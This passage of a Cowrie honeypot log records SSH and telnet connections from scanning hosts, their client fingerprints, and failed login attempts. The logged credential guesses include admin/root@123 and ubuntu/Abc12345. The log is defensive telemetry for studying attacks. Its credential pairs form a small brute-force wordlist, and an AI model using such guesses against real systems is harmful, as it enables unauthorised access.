03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:30.532741Z","src_ip":"212.154.234.9","session":"b8cb07adf7e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345","message":"login attempt [ubuntu/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:31.306089Z","src_ip":"212.154.234.9","session":"b8cb07adf7e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:32.493016Z","src_ip":"212.154.234.9","session":"b8cb07adf7e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40428,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d71c8a9e8f","protocol":"ssh","message":"New connection: 159.203.92.129:40428 (159.203.135.109:22) [session: 22d71c8a9e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:34.650194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:34.657391Z","src_ip":"159.203.92.129","session":"22d71c8a9e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:34.663694Z","src_ip":"159.203.92.129","session":"22d71c8a9e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@1111","message":"login attempt [admin/root@1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:34.680246Z","src_ip":"159.203.92.129","session":"22d71c8a9e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:35.689797Z","src_ip":"159.203.92.129","session":"22d71c8a9e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.87835884094238,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:35.903894Z","src_ip":"221.121.143.23","session":"62fdf20e9494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.186.98.14","src_port":26659,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca277697b68d","protocol":"telnet","message":"New connection: 88.186.98.14:26659 (10.17.0.5:23) [session: ca277697b68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:39.444927Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":56128,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d51053d0d2","protocol":"telnet","message":"New connection: 221.121.143.23:56128 (10.17.0.5:23) [session: 67d51053d0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:41.822066Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.186.98.14","src_port":29848,"dst_ip":"10.17.0.5","dst_port":23,"session":"44523a2bb4f6","protocol":"telnet","message":"New connection: 88.186.98.14:29848 (10.17.0.5:23) [session: 44523a2bb4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:43.727461Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":58078,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b60cafc5a3","protocol":"telnet","message":"New connection: 221.121.143.23:58078 (10.17.0.5:23) [session: a1b60cafc5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:44.336957Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":55110,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7de6499fcc1","protocol":"telnet","message":"New connection: 221.121.143.23:55110 (10.17.0.5:23) [session: f7de6499fcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:46.108393Z"}
{"eventid":"cowrie.session.closed","duration":0.12534737586975098,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:46.233606Z","src_ip":"221.121.143.23","session":"f7de6499fcc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":32862,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed81cfb0f89f","protocol":"telnet","message":"New connection: 221.121.143.23:32862 (10.17.0.5:23) [session: ed81cfb0f89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:50.799989Z"}
{"eventid":"cowrie.session.closed","duration":31.454633951187134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:56.998930Z","src_ip":"221.121.143.23","session":"319976a7712f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24674415588379,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:57.337605Z","src_ip":"221.121.143.23","session":"1187e97d3167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54299306869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:00.039686Z","src_ip":"221.121.143.23","session":"c644323f2899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":39050,"dst_ip":"10.17.0.5","dst_port":23,"session":"b845c8545c68","protocol":"telnet","message":"New connection: 221.121.143.23:39050 (10.17.0.5:23) [session: b845c8545c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:01.918665Z"}
{"eventid":"cowrie.session.closed","duration":120.00125312805176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:13.068296Z","src_ip":"49.88.156.34","session":"d99245c7da1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":46978,"dst_ip":"10.17.0.5","dst_port":23,"session":"2302b331c738","protocol":"telnet","message":"New connection: 221.121.143.23:46978 (10.17.0.5:23) [session: 2302b331c738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:14.672029Z"}
{"eventid":"cowrie.session.closed","duration":33.70993781089783,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:15.531868Z","src_ip":"221.121.143.23","session":"67d51053d0d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33274,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2ad6e731f3","protocol":"ssh","message":"New connection: 159.203.92.129:33274 (159.203.135.109:22) [session: 4a2ad6e731f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:18.030138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:18.035580Z","src_ip":"159.203.92.129","session":"4a2ad6e731f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:18.041839Z","src_ip":"159.203.92.129","session":"4a2ad6e731f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@123","message":"login attempt [admin/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:18.056059Z","src_ip":"159.203.92.129","session":"4a2ad6e731f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84068942070007,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:18.177506Z","src_ip":"221.121.143.23","session":"a1b60cafc5a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:19.062362Z","src_ip":"159.203.92.129","session":"4a2ad6e731f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.91144514083862,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:23.711304Z","src_ip":"221.121.143.23","session":"ed81cfb0f89f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.914660930633545,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:36.833186Z","src_ip":"221.121.143.23","session":"b845c8545c68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97608280181885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:49.647999Z","src_ip":"221.121.143.23","session":"2302b331c738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":45718,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e6e413670d8","protocol":"telnet","message":"New connection: 221.121.143.23:45718 (10.17.0.5:23) [session: 6e6e413670d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:59:59.636374Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54670,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d2fa6f27822","protocol":"ssh","message":"New connection: 159.203.92.129:54670 (159.203.135.109:22) [session: 4d2fa6f27822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:01.232865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:01.270462Z","src_ip":"159.203.92.129","session":"4d2fa6f27822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:01.276585Z","src_ip":"159.203.92.129","session":"4d2fa6f27822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@123!@","message":"login attempt [admin/root@123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:01.401578Z","src_ip":"159.203.92.129","session":"4d2fa6f27822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:02.559461Z","src_ip":"159.203.92.129","session":"4d2fa6f27822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":47478,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e2ef675e6c","protocol":"telnet","message":"New connection: 221.121.143.23:47478 (10.17.0.5:23) [session: 74e2ef675e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:02.620106Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":49354,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6e401ef48d","protocol":"telnet","message":"New connection: 221.121.143.23:49354 (10.17.0.5:23) [session: 8a6e401ef48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:05.191751Z"}
{"eventid":"cowrie.session.closed","duration":120.00160622596741,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:23.656986Z","src_ip":"85.92.242.30","session":"1275e97586c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164031982422,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:28.505142Z","src_ip":"88.186.98.14","session":"63c4c2278f61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":18508,"dst_ip":"10.17.0.5","dst_port":22,"session":"996dbf1e8b12","protocol":"ssh","message":"New connection: 212.154.234.9:18508 (10.17.0.5:22) [session: 996dbf1e8b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:29.052724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:29.058479Z","src_ip":"212.154.234.9","session":"996dbf1e8b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:29.246252Z","src_ip":"212.154.234.9","session":"996dbf1e8b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user-backup","password":"123","message":"login attempt [user-backup/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:30.028019Z","src_ip":"212.154.234.9","session":"996dbf1e8b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:31.218010Z","src_ip":"212.154.234.9","session":"996dbf1e8b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.186.98.14","src_port":20872,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5c32a1f06d3","protocol":"telnet","message":"New connection: 88.186.98.14:20872 (10.17.0.5:23) [session: e5c32a1f06d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:31.869664Z"}
{"eventid":"cowrie.session.closed","duration":32.27329611778259,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:31.909530Z","src_ip":"221.121.143.23","session":"6e6e413670d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.432273387908936,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:36.052237Z","src_ip":"221.121.143.23","session":"74e2ef675e6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21868944168091,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:38.410308Z","src_ip":"221.121.143.23","session":"8a6e401ef48d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138092041016,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:39.446172Z","src_ip":"88.186.98.14","session":"ca277697b68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":42004,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab476c6b4e9","protocol":"telnet","message":"New connection: 221.121.143.23:42004 (10.17.0.5:23) [session: 8ab476c6b4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:41.388949Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.186.98.14","src_port":16561,"dst_ip":"10.17.0.5","dst_port":23,"session":"604df6aebbc6","protocol":"telnet","message":"New connection: 88.186.98.14:16561 (10.17.0.5:23) [session: 604df6aebbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:41.609954Z"}
{"eventid":"cowrie.session.closed","duration":120.00166082382202,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:43.728993Z","src_ip":"88.186.98.14","session":"44523a2bb4f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f33e9584d41","protocol":"telnet","message":"New connection: 221.121.143.23:44870 (10.17.0.5:23) [session: 1f33e9584d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:45.051411Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.186.98.14","src_port":29824,"dst_ip":"10.17.0.5","dst_port":23,"session":"3958bdc46b3f","protocol":"telnet","message":"New connection: 88.186.98.14:29824 (10.17.0.5:23) [session: 3958bdc46b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:46.877040Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52332,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f2285e788b9","protocol":"ssh","message":"New connection: 159.203.92.129:52332 (159.203.135.109:22) [session: 4f2285e788b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:48.835409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:48.840109Z","src_ip":"159.203.92.129","session":"4f2285e788b9","protocol":"ssh"}
